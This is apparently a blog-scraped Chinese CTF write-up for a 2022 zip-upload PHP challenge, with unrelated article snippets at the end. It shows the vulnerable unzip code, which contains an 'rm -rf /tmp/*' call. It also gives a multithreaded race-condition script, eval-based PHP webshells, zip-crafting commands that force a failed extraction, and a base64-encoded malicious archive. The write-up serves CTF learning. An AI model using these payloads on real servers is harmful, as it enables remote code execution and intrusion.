NSS [鹏城杯 2022]压缩包

NSS [鹏城杯 2022]压缩包

考点:条件竞争/逻辑漏洞(解压失败不删除已经解压文件)

参考:回忆phpcms头像上传漏洞以及后续影响 | 离别歌 (leavesongs.com)

源码有点小多

image-20230708160120785

<?php
highlight_file(__FILE__);function removedir($dir){$list= scandir($dir);foreach ($list as  $value) {if(is_file($dir.'/'.$value)){unlink($dir.'/'.$value);}else if($value!="."&&$value!=".."){removedir($dir.'/'.$value);}}
}function unzip($filename){$result = [];$zip = new ZipArchive();$zip->open($filename);$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);if(!is_dir($dir)){mkdir($dir);}if($zip->extractTo($dir)){foreach (scandir($dir) as  $value) {$file_ext=strrchr($value, '.');$file_ext=strtolower($file_ext); //转换为小写$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext=trim($file_ext); //收尾去空if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){removedir($dir);}if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){if(is_file($dir."/".$value)){unlink($dir."/".$value);}else{if($value!="."&&$value!="..")array_push($result,$value);}}}$zip->close();unlink($filename);return json_encode($result);}else{return false;}
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>

分析解释一下代码:(看完发现这段代码实现了指定目录解压功能)

<?php
// 输出当前文件的源代码
// __FILE__ 是一个常量,表示当前文件的完整路径
// highlight_file() 函数用于将文件的源代码进行高亮显示
highlight_file(__FILE__);// 定义一个递归函数 removedir(),用于删除指定目录下的所有文件和子目录
// 参数 $dir 表示要删除的目录的路径
function removedir($dir){// 使用 scandir() 函数获取目录中的文件和子目录列表// 返回一个数组,包含目录中的所有条目(包括 . 和 ..)$list= scandir($dir);// 遍历目录中的每个条目foreach ($list as  $value) {// 如果当前条目是一个文件if(is_file($dir.'/'.$value)){// 使用 unlink() 函数删除文件unlink($dir.'/'.$value);// 如果当前条目是一个子目录}else if($value!="."&&$value!=".."){// 递归调用 removedir() 函数,删除子目录中的文件和子目录removedir($dir.'/'.$value);}}//闭合foreach
}//闭合function// 定义一个函数 unzip(),用于解压缩指定的 ZIP 文件
// 参数 $filename 表示要解压缩的文件的路径
function unzip($filename){// 定义一个空数组 $result,用于存储解压缩后的结果 $result = [];//创建一个 ZipArchive 类的实例,用于操作 ZIP 文件$zip = new ZipArchive();// 使用 open() 方法打开要解压缩的 ZIP 文件$zip->open($filename);// 根据 ZIP 文件名创建一个目录路径,用于存储解压缩后的文件    $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);// 如果目录不存在,则创建【目录】if(!is_dir($dir)){mkdir($dir);}// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录if($zip->extractTo($dir)){// 遍历目录中的每个文件和子目录foreach (scandir($dir) as  $value) {// 使用 strrchr() 函数获取文件的扩展名(包括点号)$file_ext=strrchr($value, '.');// 将文件扩展名(如.txt)转换为小写字母$file_ext=strtolower($file_ext); // 去除文件扩展名中的字符串 "::$DATA"$file_ext=str_ireplace('::$DATA', '', $file_ext);// 去除文件扩展名的首尾空格$file_ext=trim($file_ext); // 如果当前条目是一个子目录,并且不是当前目录 (.) 和上级目录 (..)if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){// 递归调用 removedir() 函数,删除子目录中的文件和子目录removedir($dir);}// 如果文件扩展名不匹配指定的图片扩展名(jpg、png、gif、jpeg)if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){// 如果当前条目是一个文件if(is_file($dir."/".$value)){// 使用 unlink() 函数删除文件unlink($dir."/".$value);}else{if($value!="."&&$value!="..")// 将文件名添加到结果数组中array_push($result,$value);	}}//闭合if}//闭合foreach// 关闭 ZIP 文件$zip->close();   // 删除原始 ZIP 文件unlink($filename);   // 返回解压后的文件名数组的 JSON 字符串表示return json_encode($result);   } else {// 如果解压失败,返回 falsereturn false;   }
}$content = $_REQUEST['content'];   
// 获取通过请求参数 content 传递的值
shell_exec('rm -rf /tmp/*');   
// 执行 shell 命令,删除 /tmp 目录下的所有文件和子目录。**/tmp/** 是一个 Linux/Unix 系统中的临时目录,常用于存放临时文件,通常这些文件在系统重启时会被清空。
$fpath = "/tmp/".md5($content);   
// 生成一个临时文件路径,将内容写入临时文件
file_put_contents($fpath, base64_decode($content));   
// 将解码后的内容写入临时文件
echo unzip($fpath);   
// 调用 unzip 函数,解压临时文件,并将结果输出。
?>

==方法一:==条件竞争:【还不是很理解】

这里直接cv羽师傅的了

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到 S E R V E R [ ′ D O C U M E N T R O O T ′ ] . " / s t a t i c / u p l o a d / " . m d 5 ( _SERVER['DOCUMENT_ROOT']."/static/upload/".md5( SERVER[DOCUMENTROOT]."/static/upload/".md5(filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

1、将如下php内容压缩生成zip文件。

<?php 
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[1]);?>');
?>

​ 2、条件竞争脚本如下

#author:yu22x
import io
import requests
import threading
import hashlib
import base64
url="http://192.168.1.110:8521/"
sess=requests.session()
s = open('a.zip','rb').read()
content=base64.b64encode(s)
data={'content':content}
i = hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())def write(session):while True:resp = session.post( url,data=data )
def read(session):while True:resp = session.get(url+f'static/upload/{md}/a.php')if resp.status_code==200:print('yes')
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30):threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()

通过蚁剑连接x.php密码为1,根目录下拿到flag

==方法二:==解压失败逻辑漏洞:

我们可以通过zip解压失败的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了。这一点,P神的文章中有,感兴趣的师傅可以去看看,连接在wp最上面。

关键代码:

if($zip->extractTo($dir)){
// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
。。。
。。。
。。。
。。。
。。。
} else {return false;   // 如果解压失败,返回 false,退出函数。
}

不难看出,如果解压失败,那么直接return,退出unzip方法。同时,虽然解压失败,但是我们包含恶意代码的shell.php已经解压出来了。

具体实现用一下zouyii师傅的实现步骤

1、手动创建一个shell.php,内容为<?php @eval($_POST['jay'])?>

2、在linux中输入以下命令创建压缩包,其中在同名文件夹中需要随便加入一点文件进去(windows下试了试没成功)

zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
rm shell.php          //删除shell.php文件
mkdir shell.php       //创建shell.php文件夹
echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip

image-20230708173432609

然后我们将exp.zip复制出来,我们尝试解压一下,发现会报错,但是shell.php已经解压出来了。(具体报错的原因是文件夹和文件重名,都叫shell.php)

image-20230708174441157

image-20230708174457322

经过测试验证,Windows下不允许文件夹和文件重名,而Linux下却可以

image-20230708224838790

然后我们写一段脚本,将该压缩包的字节base64加密

import base64tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
print(base64.b64encode(tmp))

得到UEsDBAoAAAAAALqL6FbcmEX2HQAAAB0AAAAJABwAc2hlbGwucGhwVVQJAAOQLKlkkCypZHV4CwABBOgDAAAE6AMAADw/cGhwIEBldmFsKCRfUE9TVFsnamF5J10pPz4KUEsDBAoAAAAAAC+M6FZT/FFnAgAAAAIAAAALABwAc2hlbGwucGhwLzFVVAkAA2ktqWRxLalkdXgLAAEE6AMAAAToAwAAMQpQSwECHgMKAAAAAAC6i+hW3JhF9h0AAAAdAAAACQAYAAAAAAABAAAApIEAAAAAc2hlbGwucGhwVVQFAAOQLKlkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAL4zoVlP8UWcCAAAAAgAAAAsAGAAAAAAAAQAAAKSBYAAAAHNoZWxsLnBocC8xVVQFAANpLalkdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAoAAAAKcAAAAAAA== (掐头去尾)

hackbar发个POST包,发现报错。那就是成功解压失败了。

==注意!!!==如果没出来红框上的报错信息,那就是url编码出问题了,火狐和谷歌的hackbar、burp、手动url编码,自己都可以试试。(忠告,要不然有些师傅和我一样要睡不着的哈哈哈哈哈)

image-20230708232838391

此时我们查看一下,解压成功的文件会上传到什么路径。

文件的路径,按代码执行顺序来是如下这样的:

1$fpath ="/tmp/".md5($content); 
2file_put_contents($fpath, base64_decode($content));
3$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
4//1、时,md5($content)=9746378d7516a671648f4f9f5d4f8949,所以$fpath=/tmp/9746378d7516a671648f4f9f5d4f8949
//3、时$filename=$fpath。md5($filename)=c7c1c9f96bc7319aff35a1cfa90d7d98。$_SERVER['DOCUMENT_ROOT']=根目录的路径(这个变量是PHP内置变量),此时$dir=根目录/static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98  
//综上,最后我的shell.php在   /static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98/shell.php中

注意一下路径,然后就可以RCE了。

image-20230708233148331

当然,破坏压缩包的方法不止这一种。以下是另外的师傅破坏压缩包的方法,没下010就不复现了。

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。然后使用010编辑器把压缩包打开,把2.txt改成五个斜杠。由于这种命名方式在Linux下会报错,因此在解压完1.php后会报错,就不会执行删除操作。但是1.php就留在服务器上了。

文件路径中提到了PHP内置变量,这里补充一下:

1、$_SERVER['DOCUMENT_ROOT'] // 根目录的路径2、$_SERVER['HTTP_HOST']  // 域名,比如:localhost3、$_SERVER['PHP_SELF'] // 从根目录到PHP文件本身的路径4、$_SERVER['SCRIPT_FILENAME'] // 文件的绝对路径5、$_SERVER['REQUEST_URI']  // 从根目录开始所有的URL6、$_SERVER['REQUEST_METHOD']  // 请求的方法

假设PHP代码在/www/admin/localhost_80/wwwroot/1.php

运行这段PHP代码:

<?phpvar_dump($_SERVER['DOCUMENT_ROOT']);
var_dump($_SERVER['HTTP_HOST']);
var_dump($_SERVER['PHP_SELF']);
var_dump($_SERVER['SCRIPT_FILENAME']);
var_dump($_SERVER['REQUEST_URI']);
var_dump($_SERVER['REQUEST_METHOD']);

输出:

string(32) "/www/admin/localhost_80/wwwroot/" 
string(13) "120.46.41.173" 
string(6) "/1.php" 
string(37) "/www/admin/localhost_80/wwwroot/1.php" 
string(6) "/1.php" 
string(3) "GET"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/187417.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大模型+人形机器人,用AI唤起钢筋铁骨

《经济参考报》11月8日刊发文章《多方布局人形机器人赛道,智能应用前景广》。文章称&#xff0c;工信部日前印发的《人形机器人创新发展指导意见》&#xff0c;按照谋划三年、展望五年的时间安排&#xff0c;对人形机器人创新发展作了战略部署。 从开发基于人工智能大模型的人…

CCLink转Modbus TCP网关_MODBUS报文配置

兴达易控CCLink转Modbus TCP网关是一种功能强大的设备&#xff0c;可实现两个不同通信协议之间的无缝对接。它能够将CCLink协议转换为Modbus TCP协议&#xff0c;并通过报文配置实现灵活的通信设置。兴达易控CCLink转Modbus TCP网关可以轻松实现CCLink和Modbus TCP之间的数据转…

汇编-EQU伪指令(数值替换)

EQU伪指令将一个符号名称与一个整数表达式或一个任意文本相关联&#xff0c; 它有3种格式 在第一种格式中&#xff0c; expression必须是一个有效的整数表达式。在第二种格式中&#xff0c; symbol是一个已存在的符号名称&#xff0c; 已经用或EQU定义过。在第三种格式中&…

新方向!文心一言X具身智能,用LLM大模型驱动智能小车

具身智能已成为近年来研究的热点领域之一。具身智能强调将智能体与实体环境相结合&#xff0c;通过智能体与环境的交互&#xff0c;来感知和理解世界&#xff0c;最终实现在真实环境中的自主决策和运动控制。 如何基于文心大模型&#xff0c;低成本入门“具身智能”&#xff0…

GEE:将鼠标变成十字指针,点击获取影像值,显示值到UI中

作者:CSDN @ _养乐多_ 本文记录了在 Google Earth Engine(GEE)开发中,将鼠标变成十字指针,点击获取影像值,显示值到UI中的代码片段。这段代码复制过去修改变量名就可以用了。 效果如下图所示, 文章目录 一、代码片段一、代码片段 使用的时候将 YLDImage 变量换成你屏…

【网络协议】

网络协议 1 网络通讯1.1 防火墙1.2 子网掩码1.3 网关1.4 2 SSH2.1 SSH2.2 SSH12.3 SSH2 3 Telnet4 Telnet/SSL5 NFS6 TFTP7 FTP8 SFTP9 HTTP10 HTTPS11 NAT12 加密 1 网络通讯 1.1 防火墙 所谓“防火墙”&#xff0c;是指一种将内部网和公众访问网(如Internet)分开的方法&…

C# OpenCvSharp 环形文字处理 直角坐标与极坐标转换

效果1 效果2 项目 代码 using OpenCvSharp; using System; using System.Drawing; using System.Text; using System.Windows.Forms;namespace OpenCvSharp_Demo {public partial class frmMain : Form{public frmMain(){InitializeComponent();}string fileFilter "*.*…

2020年五一杯数学建模A题煤炭价格预测问题解题全过程文档及程序

2020年五一杯数学建模 A题 煤炭价格预测问题 原题再现 煤炭属于大宗商品&#xff0c;煤炭价格既受国家相关部门的监管&#xff0c;又受国内煤炭市场的影响。除此之外&#xff0c;气候变化、出行方式、能源消耗方式、国际煤炭市场等其他因素也会影响煤炭价格。请完成如下问题。…

VR虚拟现实:VR技术如何进行原型制作

VR虚拟现实原型制作 利用VR虚拟现实软件进行原型制作可以用于增强原型测试期间的沉浸感&#xff0c;减少产品设计迭代次数&#xff0c;并将与产品原型制作相关的成本降低40-65%。 VR虚拟现实原型制作市场规模 用于原型制作的虚拟现实 (VR) 市场在 2017 年估计为 2.104 亿美元…

中文编程软件视频推荐,自学编程电脑推荐,中文编程开发语言工具下载

中文编程软件视频推荐&#xff0c;自学编程电脑推荐&#xff0c;中文编程开发语言工具下载 给大家分享一款中文编程工具&#xff0c;零基础轻松学编程&#xff0c;不需英语基础&#xff0c;编程工具可下载。 这款工具不但可以连接部分硬件&#xff0c;而且可以开发大型的软件…

2020年上半年信息安全工程师下午案例题及解析

2020年因为疫情&#xff0c;计划是上半年考&#xff0c;改为下半年考&#xff0c;但题目是上半年已经出好了的&#xff0c;所以还是第一版教材的内容。 如大家在学习中遇到问题&#xff0c;欢迎通过邮件2976033qq.com留言给作者&#xff0c;以便共同探讨。 试题一&#xff08…

Java类和对象(续)

书接上回我们已经学完了对象的初始化&#xff0c;今天的内容更加精彩。 1.封装 面向对象程序的三大特征&#xff1a;封装&#xff0c;继承&#xff0c;多态。 本章主要也是要研究封装&#xff0c;简单来说就是套壳屏蔽细节。 封装的概念&#xff1a; 封装&#xff1a;将数据和…

世界互联网大会领先科技奖发布 百度知识增强大语言模型关键技术获奖

11月8日&#xff0c;2023年世界互联网大会乌镇峰会正式开幕&#xff0c;今年是乌镇峰会举办的第十年&#xff0c;本次峰会的主题为“建设包容、普惠、有韧性的数字世界——携手构建网络空间命运共同体”。 目录 百度知识增强大语言模型关键技术荣获“世界互联网大会领先科技奖”…

ubuntu 火焰图脚本

环境ubuntu1804 x86_64 #!/bin/bash if [ "$2_" "_" ];thenecho "usage ./fire.sh oncpu/offcpu pid"exit fiif [ "$1_" "oncpu_" ];thensudo perf record -F 99 -p $2 -g -- sleep 10syncsudo perf script > out.pe…

Excel表列序号

题意&#xff1a; 给你一个字符串 columnTitle &#xff0c;表示 Excel 表格中的列名称。返回 该列名称对应的列序号 。 例如&#xff1a; A -> 1 B -> 2 C -> 3 … Z -> 26 AA -> 27 AB -> 28 … 示例 1: 输入: columnTitle “A” 输出: 1 示例 2: 输…

如何将系统盘MBR转GPT?无损教程分享!

什么是MBR和GPT&#xff1f; MBR和GPT是磁盘的两种分区形式&#xff1a;MBR&#xff08;主引导记录&#xff09;和GPT&#xff08;GUID分区表&#xff09;。 新硬盘不能直接用来保存数据。使用前应将其初始化为MBR或GPT分区形式。但是&#xff0c;如果您在MBR时需…

一键批量转码:将MP4视频转为MP3音频的简单方法

随着数字媒体设备的普及&#xff0c;视频和音频格式转换的需求也越来越常见。其中&#xff0c;将MP4视频批量转换为MP3音频的需求尤为普遍。无论是为了提取视频中的背景音乐&#xff0c;还是为了在手机或电脑上方便地收听视频音频&#xff0c;这个过程都变得非常重要。接下来我…

【uniapp】仿微信通讯录列表实现

效果图 代码实现 <view class"main-container"><!-- 成员列表 --><scroll-viewclass"member-list":style"computedHeight":scroll-y"true":enable-back-to-top"true":scroll-with-animation"true"…

使用LLama和ChatGPT为多聊天后端构建微服务

微服务架构便于创建边界明确定义的灵活独立服务。这种可扩展的方法使开发人员能够在不影响整个应用程序的情况下单独维护和完善服务。然而&#xff0c;若要充分发挥微服务架构的潜力、特别是针对基于人工智能的聊天应用程序&#xff0c;需要与最新的大语言模型&#xff08;LLM&…

FFMPEG库实现mp4/flv文件(H264+AAC)的封装与分离

ffmepeg 4.4&#xff08;亲测可用&#xff09; 一、使用FFMPEG库封装264视频和acc音频数据到 mp4/flv 文件中 封装流程 1.使用avformat_open_input分别打开视频和音频文件&#xff0c;初始化其AVFormatContext&#xff0c;使用avformat_find_stream_info获取编码器基本信息 2.使…